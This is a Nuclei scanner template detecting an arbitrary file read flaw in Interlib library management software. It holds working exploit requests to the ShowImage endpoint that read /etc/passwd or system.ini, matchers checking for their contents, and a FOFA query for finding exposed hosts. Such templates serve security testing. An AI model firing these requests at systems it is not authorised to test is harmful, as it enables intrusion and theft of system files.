interlib-fileread: Interlib - Local File Inclusion

id: interlib-fileread

info:
  name: Interlib - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    Interlib has an arbitrary file read vulnerability. Attackers can use the vulnerability to read any file.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6/%E5%9B%BE%E5%88%9B%E8%BD%AF%E4%BB%B6%20%E5%9B%BE%E4%B9%A6%E9%A6%86%E7%AB%99%E7%BE%A4%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://forum.butian.net/article/217
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
    fofa-query: body="/interlib/common/"
  tags: interlib,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/interlib/report/ShowImage?localPath=etc/passwd"
      - "{{BaseURL}}/interlib/report/ShowImage?localPath=C:\\Windows\\system.ini"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: word
        part: header
        words:
          - image/jpg

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200126c5d9bae0882d763982dbc05d883c888cbc2f1983e32a598386d9599c47a8022100dbfb83fa719b9b236f1ebd5b69e0f31a1404aa20f0b4e84819ff6a4fc54fafd7:922c64590222798bb761d5b6d8e72950